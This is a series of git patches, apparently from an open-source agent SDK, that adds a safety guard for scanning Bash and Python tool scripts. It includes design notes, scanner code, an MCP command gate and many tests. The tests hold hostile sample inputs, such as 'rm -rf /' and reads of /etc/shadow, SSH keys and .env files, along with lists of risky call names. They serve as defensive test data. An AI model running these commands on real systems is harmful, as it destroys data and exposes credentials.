-新增测试： - -- `tests/tools/safety/test_models_and_policy.py` -- `tests/tools/safety/test_adapters.py` -- `tests/tools/safety/test_scanner.py` -- `tests/tools/safety/test_filter.py` -- `tests/tools/safety/test_code_executor.py` -- `tests/tools/safety/test_audit_and_telemetry.py` -- `tests/tools/safety/test_concurrency.py` -- `tests/tools/safety/test_cli_and_acceptance.py` -- `tests/tools/safety/test_quality_constraints.py` - -修改： - -- `trpc_agent_sdk/filter/_filter_runner.py`：确保执行门禁在 handler 前最后运行， - 防止其他 filter/callback 在扫描后修改执行参数，并应用 opt-in timeout/output - hooks。 - -明确不修改： - -- `trpc_agent_sdk/tools/_base_tool.py` -- `trpc_agent_sdk/filter/_base_filter.py` -- `trpc_agent_sdk/code_executors/_base_code_executor.py` -- 现有 Tool/Skill/CodeExecutor 实现 - -## 13. 已知限制 - -- 静态规则仍可被复杂反射、编码、运行时下载和解释器差异绕过。 -- 简单 secret taint 不能覆盖完整跨函数/跨文件数据流。 -- `shlex` 不是完整 Bash parser，复杂语法会偏向人工复核。 -- 符号链接、真实 DNS 解析、CPU/内存/PID 和子进程输出资源只能由运行时沙箱 - 强制。 -- JSONL 是本地审计示例，不是防篡改集中审计系统。 -- 只有挂载 Filter 或显式调用 Guard 的执行入口受保护；部署必须清点所有入口。 - -## 14. 初版 review 处理记录 - -独立 subagent review 的 9 项必须修改全部纳入： - -- 执行载荷绕过：新增 tool-specific adapters、嵌套解释器/stdin/code blocks。 -- 限额语义：定义有效 timeout、写回执行参数、明确 output 能力边界。 -- audit failure：改为 fail closed，补锁、flush、fallback 和并发测试。 -- `allowed_commands`：定义逐段、递归和 Python subprocess 语义。 -- 禁止路径：加入 cwd/目标 home/root、Windows 和动态路径处理。 -- AST/Bash 绕过：加入 alias、常量折叠和嵌套命令。 -- 脱敏：统一 sanitizer，覆盖全部输出路径。 -- 统计验收：增加安全 corpus、变体和明确公式。 -- 命令验收：加入 CLI 包覆盖、并发测试、直接受影响模块回归和复杂度检查。 - -同时采纳可选建议，将规则按 Python、Bash、common 拆分，降低单文件行数和圈 -复杂度风险。 diff --git a/examples/tool_safety_guard/README.md b/examples/tool_safety_guard/README.md index 5992ffcb0..11d26f770 100644 --- a/examples/tool_safety_guard/README.md +++ b/examples/tool_safety_guard/README.md @@ -3,6 +3,15 @@ 该示例展示 Python/Bash 静态扫描、Tool Filter、CodeExecutor wrapper、策略、 报告、审计和 OpenTelemetry 接入。 +## 交付物 + +- `README.md`：规则、接入、扩展方式和安全边界。 +- `tool_safety_policy.yaml`：可修改的策略示例。 +- `tool_safety_report.json`：结构化扫描报告示例。 +- `tool_safety_audit.jsonl`：审计事件示例。 +- `manifest.yaml` 与 `samples/`：12 个公开验收样本及预期决策。 +- `real_agent.py`、`mcp_server.py` 与 `skills/`：真实 Agent 执行示例。 + ## CLI ```bash @@ -36,6 +45,8 @@ Filter 在 `_run_async_impl()` 前扫描。`deny` 和 `needs_human_review` 不 handler；`allow` 把有效 timeout 注入 Tool 参数，并在 `_after` 阶段限制返回给 Agent 的 output 大小。安全 Filter 应放在所有参数改写 Filter 之后，后续 Filter 也不应扩展其已截断的输出。CodeExecutor wrapper 另外使用协作式 deadline。 +已知 Tool 使用固定 adapter；未知 Tool 只要提供非空 `command`、`code` 或 +`script` 字段，也会按 Bash/Python 保守扫描，避免自定义执行 Tool 静默绕过。 ## CodeExecutor diff --git a/tests/tools/safety/test_adapters.py b/tests/tools/safety/test_adapters.py index bfc086657..f900f0e42 100644 --- a/tests/tools/safety/test_adapters.py +++ b/tests/tools/safety/test_adapters.py @@ -113,11 +113,18 @@ def test_adapt_skill_run_command(): assert request.timeout_arg_name == "timeout" -def test_unknown_tool_with_code_field_is_not_inferred_as_executor(): +def test_unknown_tool_with_code_field_is_scanned_conservatively(): tool = SimpleNamespace(name="code_formatter", description="formats text") request = adapt_tool_request(tool, {"code": "open('/etc/shadow').read()"}, _policy()) - assert request.applicable is False - assert request.payloads == [] + assert request.applicable is True + assert request.payloads[0].language == ScriptLanguage.PYTHON + + +def test_unknown_tool_with_command_field_is_scanned_as_bash(): + tool = SimpleNamespace(name="custom_exec", description="custom executor") + request = adapt_tool_request(tool, {"command": "rm -rf /"}, _policy()) + assert request.applicable is True + assert request.payloads[0].language == ScriptLanguage.BASH def test_local_bash_resolves_relative_cwd(): diff --git a/tests/tools/safety/test_filter.py b/tests/tools/safety/test_filter.py index 04b3bcdb3..1f77decbe 100644 --- a/tests/tools/safety/test_filter.py +++ b/tests/tools/safety/test_filter.py @@ -57,8 +57,8 @@ def _filter(sink, max_output=100): return ToolSafetyFilter(ToolScriptSafetyGuard(policy), sink) -async def _run_filter(safety_filter, args, handler): - tool = SimpleNamespace(name="Bash", description="shell") +async def _run_filter(safety_filter, args, handler, tool_name="Bash"): + tool = SimpleNamespace(name=tool_name, description="shell") token = set_tool_var(tool) try: return await run_filters(SimpleNamespace(), args, [safety_filter], handler) @@ -101,6 +101,21 @@ async def handler(): assert sink.events[0].execution_blocked is True +@pytest.mark.asyncio +async def test_unknown_execution_tool_does_not_fail_open(): + + async def handler(): + raise AssertionError("handler must not run") + + result = await _run_filter( + _filter(_MemorySink()), + {"command": "rm -rf /"}, + handler, + tool_name="custom_exec", + ) + assert result["decision"] == "deny" + + @pytest.mark.asyncio async def test_review_stops_handler(): @@ -202,4 +217,3 @@ async def handler(): reset_tool_var(token) assert result["truncated"] is True assert len(result["stdout"].encode()) <= 10 - diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index 093c06654..719f56063 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -61,6 +61,8 @@ def test_recursive_delete_denied_python_alias(guard): "open('~/.ssh/id_rsa').read()", "from pathlib import Path\nPath('.env').read_text()", "open('/etc/shadow').read()", + "import builtins\nbuiltins.open('/etc/shadow').read()", + "from builtins import open as read_file\nread_file('.env').read()", ], ) def test_sensitive_path_always_denied(guard, code): @@ -94,6 +96,48 @@ def test_dynamic_network_requires_review(guard): assert "NET002" in _rule_ids(report) +@pytest.mark.parametrize( + "code", + [ + ("url = 'https://api.example.com'\n" + "url = input()\n" + "import requests\n" + "requests.get(url)"), + ("url = 'https://api.example.com'\n" + "(url := input())\n" + "import requests\n" + "requests.get(url)"), + ("url = 'https://api.example.com'\n" + "url += input()\n" + "import requests\n" + "requests.get(url)"), + ("url = 'https://api.example.com'\n" + "for url in targets:\n" + " pass\n" + "import requests\n" + "requests.get(url)"), + ("url = 'https://api.example.com'\n" + "import requests\n" + "def fetch(url):\n" + " return requests.get(url)"), + ("url = 'https://api.example.com'\n" + "import requests\n" + "[requests.get(url) for url in targets]"), + ], +) +def test_rebound_network_target_requires_review(guard, code): + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "NET002" in _rule_ids(report) + + +def test_rebound_file_path_requires_review(guard): + code = "path = '/tmp/safe'\npath = input()\nopen(path).read()" + report = guard.scan(_request(code)) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "FILE003" in _rule_ids(report) + + def test_subprocess_requires_review(guard): report = guard.scan(_request("import subprocess\nsubprocess.run(['echo', 'ok'])")) assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW diff --git a/trpc_agent_sdk/tools/safety/_integration.py b/trpc_agent_sdk/tools/safety/_integration.py index 74dcc3612..e672f5311 100644 --- a/trpc_agent_sdk/tools/safety/_integration.py +++ b/trpc_agent_sdk/tools/safety/_integration.py @@ -82,11 +82,13 @@ def adapt_tool_request(tool: Any, args: dict[str, Any], policy: ToolSafetyPolicy description=str(getattr(tool, "description", "")), ) requested, effective, timeout_arg = _timeout(args, name, policy) - applicable = name in _BASH_TOOL_NAMES or name in _GENERIC_EXECUTION_FIELDS + supported_fields = _GENERIC_EXECUTION_FIELDS.get(name) + if name in _BASH_TOOL_NAMES: + supported_fields = ("command", "code", "script") + inferred_fields = supported_fields or ("command", "code", "script") payloads = [] for field_name in ("command", "code", "script"): - supported_fields = _GENERIC_EXECUTION_FIELDS.get(name) - if name not in _BASH_TOOL_NAMES and (not supported_fields or field_name not in supported_fields): + if field_name not in inferred_fields: continue content = args.get(field_name) if not isinstance(content, str) or not content.strip(): @@ -102,6 +104,7 @@ def adapt_tool_request(tool: Any, args: dict[str, Any], policy: ToolSafetyPolicy argv=[str(item) for item in argv] if isinstance(argv, list) else [], stdin=str(args.get("stdin", "")) if field_name == "command" else "", )) + applicable = bool(payloads) or name in _BASH_TOOL_NAMES or name in _GENERIC_EXECUTION_FIELDS tool_cwd = str(getattr(tool, "cwd", "") or "") requested_cwd = str(args.get("cwd") or "") cwd = requested_cwd or tool_cwd diff --git a/trpc_agent_sdk/tools/safety/_python_rules.py b/trpc_agent_sdk/tools/safety/_python_rules.py index 541c77ded..77e174bd8 100644 --- a/trpc_agent_sdk/tools/safety/_python_rules.py +++ b/trpc_agent_sdk/tools/safety/_python_rules.py @@ -31,7 +31,7 @@ _NETWORK_ROOTS = frozenset({"requests", "aiohttp", "socket", "urllib", "httpx"}) _PROCESS_CALLS = frozenset({"subprocess.run", "subprocess.call", "subprocess.Popen", "os.system", "os.popen"}) _DELETE_CALLS = frozenset({"shutil.rmtree"}) -_DIRECT_FILE_CALLS = frozenset({"open", "io.open", "os.open", "os.remove", "os.unlink", "os.rmdir"}) +_DIRECT_FILE_CALLS = frozenset({"open", "builtins.open", "io.open", "os.open", "os.remove", "os.unlink", "os.rmdir"}) _PATH_METHODS = frozenset({"open", "read_text", "read_bytes", "write_text", "write_bytes", "unlink", "rmdir"}) _OUTPUT_CALLS = frozenset( {"print", "logging.info", "logging.warning", "logging.error", "logger.info", "logger.warning", "logger.error"}) @@ -117,6 +117,8 @@ def __init__(self, context: _PythonScanContext): self._constants: dict[str, str] = {} self._path_values: dict[str, str | None] = {} self._secret_names: set[str] = set() + self._assigned_names: set[str] = set() + self._uncertain_names: set[str] = set() self.findings: list[SafetyFinding] = [] self.redacted = False @@ -157,29 +159,150 @@ def _contains_secret(self, node: ast.AST) -> bool: def visit_Import(self, node: ast.Import) -> Any: for item in node.names: - self._aliases[item.asname or item.name] = item.name + name = item.asname or item.name + if self._invalidate_binding(name): + self._aliases[name] = item.name def visit_ImportFrom(self, node: ast.ImportFrom) -> Any: module = node.module or "" for item in node.names: - self._aliases[item.asname or item.name] = f"{module}.{item.name}".strip(".") + name = item.asname or item.name + if self._invalidate_binding(name): + self._aliases[name] = f"{module}.{item.name}".strip(".") def visit_Assign(self, node: ast.Assign) -> Any: - value = self._string(node.value) - symbolic = self._symbolic_value(node.value) for target in node.targets: - if not isinstance(target, ast.Name): - continue - if value is not None: - self._constants[target.id] = value - if symbolic: - self._aliases[target.id] = symbolic - if self._is_path_constructor(node.value): - self._path_values[target.id] = self._path_constructor_value(node.value) - if _SECRET_NAME_RE.search(target.id) or self._contains_secret(node.value): - self._secret_names.add(target.id) + self._bind_target(target, node.value) self.generic_visit(node) + def visit_AnnAssign(self, node: ast.AnnAssign) -> Any: + self._bind_target(node.target, node.value) + self.generic_visit(node) + + def visit_NamedExpr(self, node: ast.NamedExpr) -> Any: + self._bind_target(node.target, node.value) + self.generic_visit(node) + + def visit_AugAssign(self, node: ast.AugAssign) -> Any: + self._invalidate_target(node.target) + self.generic_visit(node) + + def visit_For(self, node: ast.For) -> Any: + self._invalidate_target(node.target) + self.generic_visit(node) + + visit_AsyncFor = visit_For + + def visit_FunctionDef(self, node: ast.FunctionDef) -> Any: + for item in [*node.decorator_list, *node.args.defaults, *node.args.kw_defaults]: + if item is not None: + self.visit(item) + self._invalidate_binding(node.name) + outer = self._binding_state() + arguments = [*node.args.posonlyargs, *node.args.args, *node.args.kwonlyargs] + arguments.extend(item for item in (node.args.vararg, node.args.kwarg) if item) + for argument in arguments: + self._invalidate_binding(argument.arg) + for statement in node.body: + self.visit(statement) + self._restore_binding_state(outer) + + visit_AsyncFunctionDef = visit_FunctionDef + + def visit_Lambda(self, node: ast.Lambda) -> Any: + for item in [*node.args.defaults, *node.args.kw_defaults]: + if item is not None: + self.visit(item) + outer = self._binding_state() + arguments = [*node.args.posonlyargs, *node.args.args, *node.args.kwonlyargs] + arguments.extend(item for item in (node.args.vararg, node.args.kwarg) if item) + for argument in arguments: + self._invalidate_binding(argument.arg) + self.visit(node.body) + self._restore_binding_state(outer) + + def visit_ListComp(self, node: ast.ListComp) -> Any: + self._visit_comprehension(node.generators, [node.elt]) + + visit_SetComp = visit_ListComp + visit_GeneratorExp = visit_ListComp + + def visit_DictComp(self, node: ast.DictComp) -> Any: + self._visit_comprehension(node.generators, [node.key, node.value]) + + def _visit_comprehension(self, generators: list[ast.comprehension], outputs: list[ast.AST]) -> None: + outer = self._binding_state() + for generator in generators: + self.visit(generator.iter) + self._invalidate_target(generator.target) + for condition in generator.ifs: + self.visit(condition) + for output in outputs: + self.visit(output) + self._restore_binding_state(outer) + + def visit_ExceptHandler(self, node: ast.ExceptHandler) -> Any: + if node.name: + self._invalidate_binding(node.name) + self.generic_visit(node) + + def _bind_target(self, target: ast.AST, value_node: ast.AST | None) -> None: + if not isinstance(target, ast.Name): + self._invalidate_target(target) + return + was_secret = target.id in self._secret_names + can_track = self._invalidate_binding(target.id) + is_secret = bool(_SECRET_NAME_RE.search(target.id)) + is_secret = is_secret or (value_node is not None and self._contains_secret(value_node)) + if was_secret or is_secret: + self._secret_names.add(target.id) + else: + self._secret_names.discard(target.id) + if not can_track or value_node is None: + return + value = self._string(value_node) + symbolic = self._symbolic_value(value_node) + if value is not None: + self._constants[target.id] = value + if symbolic: + self._aliases[target.id] = symbolic + if self._is_path_constructor(value_node): + self._path_values[target.id] = self._path_constructor_value(value_node) + + def _invalidate_target(self, target: ast.AST) -> None: + for item in ast.walk(target): + if isinstance(item, ast.Name): + self._invalidate_binding(item.id) + + def _invalidate_binding(self, name: str) -> bool: + self._constants.pop(name, None) + self._aliases.pop(name, None) + self._path_values.pop(name, None) + if name in self._assigned_names: + self._uncertain_names.add(name) + self._assigned_names.add(name) + return name not in self._uncertain_names + + def _binding_state(self) -> tuple: + return ( + dict(self._aliases), + dict(self._constants), + dict(self._path_values), + set(self._secret_names), + set(self._assigned_names), + set(self._uncertain_names), + ) + + def _restore_binding_state(self, state: tuple) -> None: + ( + self._aliases, + self._constants, + self._path_values, + self._secret_names, + self._assigned_names, + self._uncertain_names, + ) = state + def _symbolic_value(self, node: ast.AST) -> str: if isinstance(node, (ast.Name, ast.Attribute)): return self._name(node) From 6ae981ab7abda8f286170f12ffbcbebeeafa6848 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 01:47:38 +0800 Subject: [PATCH 03/29] test(safety): improve rule coverage --- .../samples/review_dynamic_network.py | 6 ++ .../tools/safety/test_audit_and_telemetry.py | 16 ++++ tests/tools/safety/test_cli_and_acceptance.py | 7 ++ tests/tools/safety/test_models_and_policy.py | 9 +++ tests/tools/safety/test_scanner.py | 81 +++++++++++++++++++ 5 files changed, 119 insertions(+) diff --git a/examples/tool_safety_guard/samples/review_dynamic_network.py b/examples/tool_safety_guard/samples/review_dynamic_network.py index e8ed4325b..43b8b1d1f 100644 --- a/examples/tool_safety_guard/samples/review_dynamic_network.py +++ b/examples/tool_safety_guard/samples/review_dynamic_network.py @@ -1,3 +1,9 @@ import requests + +def get_runtime_url(): + return input() + + +target_url = get_runtime_url() requests.get(target_url) diff --git a/tests/tools/safety/test_audit_and_telemetry.py b/tests/tools/safety/test_audit_and_telemetry.py index c108e7c60..c3b81ad7f 100644 --- a/tests/tools/safety/test_audit_and_telemetry.py +++ b/tests/tools/safety/test_audit_and_telemetry.py @@ -15,6 +15,7 @@ from trpc_agent_sdk.tools.safety import CompositeAuditSink from trpc_agent_sdk.tools.safety import JsonlAuditSink +from trpc_agent_sdk.tools.safety import LoggingAuditSink from trpc_agent_sdk.tools.safety import RiskCategory from trpc_agent_sdk.tools.safety import RiskLevel from trpc_agent_sdk.tools.safety import SafetyAuditError @@ -24,6 +25,7 @@ from trpc_agent_sdk.tools.safety import SafetyReport from trpc_agent_sdk.tools.safety._audit import create_audit_event from trpc_agent_sdk.tools.safety._audit import emit_report +from trpc_agent_sdk.tools.safety._audit import _shared_sink_lock from trpc_agent_sdk.tools.safety._audit import set_safety_span_attributes @@ -109,6 +111,20 @@ def test_composite_fails_closed_when_both_sinks_fail(): sink.emit(create_audit_event(_report(), "Bash", True)) +def test_composite_primary_success_and_logging_failure(): + primary = _MemorySink() + event = create_audit_event(_report(), "Bash", True) + CompositeAuditSink(primary).emit(event) + assert primary.events == [event] + with patch("trpc_agent_sdk.tools.safety._audit.logger.warning", side_effect=RuntimeError): + with pytest.raises(SafetyAuditError, match="fallback audit failed"): + LoggingAuditSink().emit(event) + + +def test_unhashable_audit_sink_uses_fallback_lock(): + assert _shared_sink_lock([]) is _shared_sink_lock([]) + + def test_telemetry_sets_required_attributes(): span = MagicMock() with patch("trpc_agent_sdk.tools.safety._audit.trace.get_current_span", return_value=span): diff --git a/tests/tools/safety/test_cli_and_acceptance.py b/tests/tools/safety/test_cli_and_acceptance.py index be31ab8b4..f97ccb25f 100644 --- a/tests/tools/safety/test_cli_and_acceptance.py +++ b/tests/tools/safety/test_cli_and_acceptance.py @@ -15,6 +15,8 @@ from trpc_agent_sdk.tools.safety import ToolMetadata from trpc_agent_sdk.tools.safety import ToolScriptSafetyGuard from trpc_agent_sdk.tools.safety._cli import main +from trpc_agent_sdk.tools.safety._cli import _exit_code +from trpc_agent_sdk.tools.safety import SafetyDecision EXAMPLE_DIR = Path("examples/tool_safety_guard") @@ -117,3 +119,8 @@ def test_cli_error_redacts_secret_path(tmp_path, capsys): assert exit_code == 1 assert "top secret phrase" not in output assert "[REDACTED_SECRET]" in output + + +def test_cli_exit_codes_cover_allow_and_review(): + assert _exit_code(SafetyDecision.ALLOW) == 0 + assert _exit_code(SafetyDecision.NEEDS_HUMAN_REVIEW) == 2 diff --git a/tests/tools/safety/test_models_and_policy.py b/tests/tools/safety/test_models_and_policy.py index b91842cd7..49f0e4ea1 100644 --- a/tests/tools/safety/test_models_and_policy.py +++ b/tests/tools/safety/test_models_and_policy.py @@ -109,3 +109,12 @@ def test_policy_rejects_duplicate_fields(tmp_path): with pytest.raises(ValueError, match="unable to load tool safety policy"): ToolSafetyPolicy.from_yaml(path) + + +def test_policy_rejects_empty_list_entries_and_non_mapping_yaml(tmp_path): + with pytest.raises(ValueError, match="must not be empty"): + ToolSafetyPolicy(allowed_domains=[" "]) + path = tmp_path / "policy.yaml" + path.write_text("- not\n- a\n- mapping\n", encoding="utf-8") + with pytest.raises(ValueError, match="must be a YAML mapping"): + ToolSafetyPolicy.from_yaml(path) diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index 719f56063..3f5eb244e 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -15,6 +15,11 @@ from trpc_agent_sdk.tools.safety import ToolMetadata from trpc_agent_sdk.tools.safety import ToolScriptSafetyGuard from trpc_agent_sdk.tools.safety import ToolSafetyPolicy +from trpc_agent_sdk.tools.safety._bash_rules import _sleep_seconds +from trpc_agent_sdk.tools.safety._bash_rules import _ssh_target +from trpc_agent_sdk.tools.safety._bash_rules import stdin_language +from trpc_agent_sdk.tools.safety._sanitizer import SafetySanitizer +from trpc_agent_sdk.tools.safety._sanitizer import truncate_output @pytest.fixture @@ -218,6 +223,82 @@ def test_500_line_script_scans_under_one_second(guard): assert report.duration_ms < 1000 +def test_python_visitor_tracks_bindings_and_resource_shapes(guard): + code = """ +import asyncio as aio +from pathlib import Path as P +from requests import get as fetch +import subprocess + +BASE: str = "/tmp" +path = P(BASE) +path.write_text("x") +value = "safe" + "-value" +value = input() +value += "changed" +(alias := fetch) +for item in values: + alias = item +items = {key: value for key, value in pairs if key} +callback = lambda target="https://example.test": fetch(target) +try: + subprocess.run() +except RuntimeError as error: + print(error) + +async def work(default="x", *args, **kwargs): + await aio.sleep(60) + +aio.sleep(60) +aio.gather(*tasks) +aio.ThreadPoolExecutor(max_workers=20) +open("/tmp/out", "w").write("x" * 1000000) +subprocess.run(["echo", "ok"]) +subprocess.run(command) +fetch(url="https://example.test") +os.open("/tmp/out", os.O_WRONLY | os.O_CREAT) +(left, right) = pair +subprocess.run("echo ok") +aio.sleep(delay) +aio.ThreadPoolExecutor(20) +aio.ThreadPoolExecutor(max_workers=workers) +aio.gather(one, two, three, four, five) +P().write_text("x") +writer.write("x" * 2000000) +""" + report = guard.scan(_request(code)) + assert report.findings + + +def test_safety_edge_helpers_cover_invalid_and_dynamic_inputs(): + assert _ssh_target(["ssh", "-p", "22", "--"]) is None + assert _ssh_target(["ssh", "-o"]) is None + assert _sleep_seconds("") == float("inf") + assert _sleep_seconds("not-a-duration") == float("inf") + assert stdin_language("") is None + assert stdin_language("python -c code") is None + assert truncate_output("hello", 3) == "hel" + assert truncate_output(42, 3) == 42 + with pytest.raises(ValueError, match="evidence_chars"): + SafetySanitizer(0) + + +@pytest.mark.parametrize( + "command", + [ + "env -i TOKEN=value echo ok", + "ssh $HOST", + "python script.py", + "python -c", + "echo $PASSWORD", + "bash -c \"bash -c 'bash -c \\\"echo ok\\\"'\"", + ], +) +def test_bash_edge_shapes_are_scanned_without_fail_open(guard, command): + report = guard.scan(_request(command, ScriptLanguage.BASH)) + assert report.summary + + def test_categories_are_structured(guard): report = guard.scan(_request("rm -rf /", ScriptLanguage.BASH)) assert any(finding.category == RiskCategory.FILE for finding in report.findings) From 9bc9de623226072fe45b0ed208d1bffb450b35c1 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 02:43:28 +0800 Subject: [PATCH 04/29] fix(safety): guard MCP command execution --- examples/tool_safety_guard/mcp_server.py | 63 +++++++++++++++++-- examples/tool_safety_guard/real_agent.py | 11 +++- .../tools/safety/test_audit_and_telemetry.py | 8 +++ tests/tools/safety/test_code_executor.py | 24 +++++++ tests/tools/safety/test_filter.py | 7 +++ tests/tools/safety/test_scanner.py | 39 ++++++++++++ trpc_agent_sdk/tools/safety/_integration.py | 12 +++- 7 files changed, 157 insertions(+), 7 deletions(-) diff --git a/examples/tool_safety_guard/mcp_server.py b/examples/tool_safety_guard/mcp_server.py index 8b72aecce..2271028dc 100644 --- a/examples/tool_safety_guard/mcp_server.py +++ b/examples/tool_safety_guard/mcp_server.py @@ -8,25 +8,80 @@ from __future__ import annotations import asyncio +import shlex from pathlib import Path from mcp.server import FastMCP +from trpc_agent_sdk.tools.safety import ScriptLanguage +from trpc_agent_sdk.tools.safety import ScriptPayload +from trpc_agent_sdk.tools.safety import ScriptScanRequest +from trpc_agent_sdk.tools.safety import SafetyDecision +from trpc_agent_sdk.tools.safety import ToolMetadata +from trpc_agent_sdk.tools.safety import ToolScriptSafetyGuard APP = FastMCP("tool-safety-demo") WORK_DIR = Path(__file__).resolve().parent +POLICY_PATH = WORK_DIR / "tool_safety_policy.yaml" +GUARD = ToolScriptSafetyGuard.from_policy(POLICY_PATH) MAX_OUTPUT_CHARS = 4096 @APP.tool() async def execute_command(command: str) -> dict: - """Execute one shell command in the disposable example directory.""" - process = await asyncio.create_subprocess_shell( - command, + """Execute an approved shell command in the disposable example directory.""" + request = ScriptScanRequest( + payloads=[ScriptPayload( + language=ScriptLanguage.BASH, + content=command, + source="mcp.execute_command", + )], + cwd=str(WORK_DIR), + execution_root=str(WORK_DIR.anchor), + metadata=ToolMetadata(name="execute_command"), + effective_timeout_seconds=float(GUARD.policy.max_timeout_seconds), + max_output_bytes=GUARD.policy.max_output_bytes, + ) + report = GUARD.scan(request) + if report.decision != SafetyDecision.ALLOW: + return { + **report.as_dict(), + "execution_blocked": True, + } + try: + argv = shlex.split(command, posix=True) + except ValueError as error: + return { + "decision": SafetyDecision.NEEDS_HUMAN_REVIEW.value, + "summary": "needs_human_review: malformed shell command.", + "error": str(error), + "execution_blocked": True, + } + if not argv: + return { + "decision": SafetyDecision.NEEDS_HUMAN_REVIEW.value, + "summary": "needs_human_review: empty shell command.", + "execution_blocked": True, + } + process = await asyncio.create_subprocess_exec( + *argv, cwd=WORK_DIR, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, ) - stdout, stderr = await process.communicate() + try: + stdout, stderr = await asyncio.wait_for( + process.communicate(), + timeout=request.effective_timeout_seconds, + ) + except asyncio.TimeoutError: + process.kill() + await process.communicate() + return { + "return_code": None, + "stdout": "", + "stderr": "Command exceeded the tool safety timeout.", + "timed_out": True, + } return { "return_code": process.returncode, "stdout": stdout.decode(errors="replace")[:MAX_OUTPUT_CHARS], diff --git a/examples/tool_safety_guard/real_agent.py b/examples/tool_safety_guard/real_agent.py index 42d44dab0..8ddf42c5a 100644 --- a/examples/tool_safety_guard/real_agent.py +++ b/examples/tool_safety_guard/real_agent.py @@ -206,9 +206,16 @@ def _print_event(event) -> None: return for part in event.content.parts: if part.function_call: - print(f"CALL {part.function_call.name}: {part.function_call.args}") + print(f"CALL {part.function_call.name}") elif part.function_response: - print(f"RESULT {part.function_response.name}: {part.function_response.response}") + response = part.function_response.response + if isinstance(response, dict): + response = { + "decision": response.get("decision"), + "execution_blocked": response.get("execution_blocked"), + "return_code": response.get("return_code"), + } + print(f"RESULT {part.function_response.name}: {response}") elif part.text and not part.thought: print(part.text, end="" if event.partial else "\n") diff --git a/tests/tools/safety/test_audit_and_telemetry.py b/tests/tools/safety/test_audit_and_telemetry.py index c3b81ad7f..2c7c447d9 100644 --- a/tests/tools/safety/test_audit_and_telemetry.py +++ b/tests/tools/safety/test_audit_and_telemetry.py @@ -93,6 +93,14 @@ def test_jsonl_audit_rejects_symlink(tmp_path): assert target.read_text(encoding="utf-8") == "unchanged" +def test_jsonl_audit_closes_descriptor_when_identity_check_fails(tmp_path): + path = tmp_path / "audit.jsonl" + event = create_audit_event(_report(), "Bash", True) + with patch("trpc_agent_sdk.tools.safety._audit.os.path.samestat", return_value=False): + with pytest.raises(SafetyAuditError): + JsonlAuditSink(path).emit(event) + + def test_composite_uses_fallback(): fallback = _MemorySink() sink = CompositeAuditSink(_FailingSink(), fallback) diff --git a/tests/tools/safety/test_code_executor.py b/tests/tools/safety/test_code_executor.py index f588bb12a..1f4b4d782 100644 --- a/tests/tools/safety/test_code_executor.py +++ b/tests/tools/safety/test_code_executor.py @@ -14,9 +14,12 @@ from trpc_agent_sdk.code_executors import CodeExecutionInput from trpc_agent_sdk.code_executors import create_code_execution_result from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor +from trpc_agent_sdk.tools.safety import adapt_code_execution_input +from trpc_agent_sdk.tools.safety import ToolMetadata from trpc_agent_sdk.tools.safety import ToolSafetyViolation from trpc_agent_sdk.tools.safety import ToolScriptSafetyGuard from trpc_agent_sdk.tools.safety import ToolSafetyPolicy +from trpc_agent_sdk.tools.safety import SafetyDecision class _MemorySink: @@ -108,3 +111,24 @@ async def test_wrapper_limits_output(): def test_wrapper_mirrors_execute_once_capability(): delegate = _Executor(execute_once_per_invocation=True) assert _wrapper(delegate).execute_once_per_invocation is True + + +@pytest.mark.asyncio +async def test_adapter_error_cannot_continue_without_request(monkeypatch): + wrapper = _wrapper(_Executor()) + allow_report = wrapper.guard.scan( + adapt_code_execution_input( + CodeExecutionInput(code="print('ok')"), + ToolMetadata(name="executor"), + wrapper.guard.policy, + )) + + def fail_adapter(*args, **kwargs): + del args, kwargs + raise RuntimeError("adapter failed") + + monkeypatch.setattr("trpc_agent_sdk.tools.safety._integration.adapt_code_execution_input", fail_adapter) + monkeypatch.setattr(wrapper.guard, "error_report", lambda error: allow_report) + with pytest.raises(ToolSafetyViolation) as captured: + await wrapper.execute_code(MagicMock(), CodeExecutionInput(code="print('ok')")) + assert captured.value.report.decision == SafetyDecision.ALLOW diff --git a/tests/tools/safety/test_filter.py b/tests/tools/safety/test_filter.py index 1f77decbe..6d89a6157 100644 --- a/tests/tools/safety/test_filter.py +++ b/tests/tools/safety/test_filter.py @@ -57,6 +57,13 @@ def _filter(sink, max_output=100): return ToolSafetyFilter(ToolScriptSafetyGuard(policy), sink) +def test_filter_from_policy(tmp_path): + path = tmp_path / "policy.yaml" + path.write_text("version: 1\nallowed_commands: [echo]\n", encoding="utf-8") + safety_filter = ToolSafetyFilter.from_policy(str(path), _MemorySink()) + assert safety_filter._guard.policy.allowed_commands == ["echo"] + + async def _run_filter(safety_filter, args, handler, tool_name="Bash"): tool = SimpleNamespace(name=tool_name, description="shell") token = set_tool_var(tool) diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index 3f5eb244e..f0e45e19f 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -5,6 +5,8 @@ # tRPC-Agent-Python is licensed under Apache-2.0. """Scanner acceptance-oriented unit tests.""" +import ast + import pytest from trpc_agent_sdk.tools.safety import RiskCategory @@ -20,6 +22,10 @@ from trpc_agent_sdk.tools.safety._bash_rules import stdin_language from trpc_agent_sdk.tools.safety._sanitizer import SafetySanitizer from trpc_agent_sdk.tools.safety._sanitizer import truncate_output +from trpc_agent_sdk.tools.safety._common_rules import path_is_system_location +from trpc_agent_sdk.tools.safety._python_rules import _PythonScanContext +from trpc_agent_sdk.tools.safety._python_rules import PythonRuleVisitor +from trpc_agent_sdk.tools.safety._scanner import MAX_NESTED_PAYLOAD_DEPTH @pytest.fixture @@ -277,12 +283,45 @@ def test_safety_edge_helpers_cover_invalid_and_dynamic_inputs(): assert _sleep_seconds("not-a-duration") == float("inf") assert stdin_language("") is None assert stdin_language("python -c code") is None + assert stdin_language("python script.py") is None + assert path_is_system_location("/") is True assert 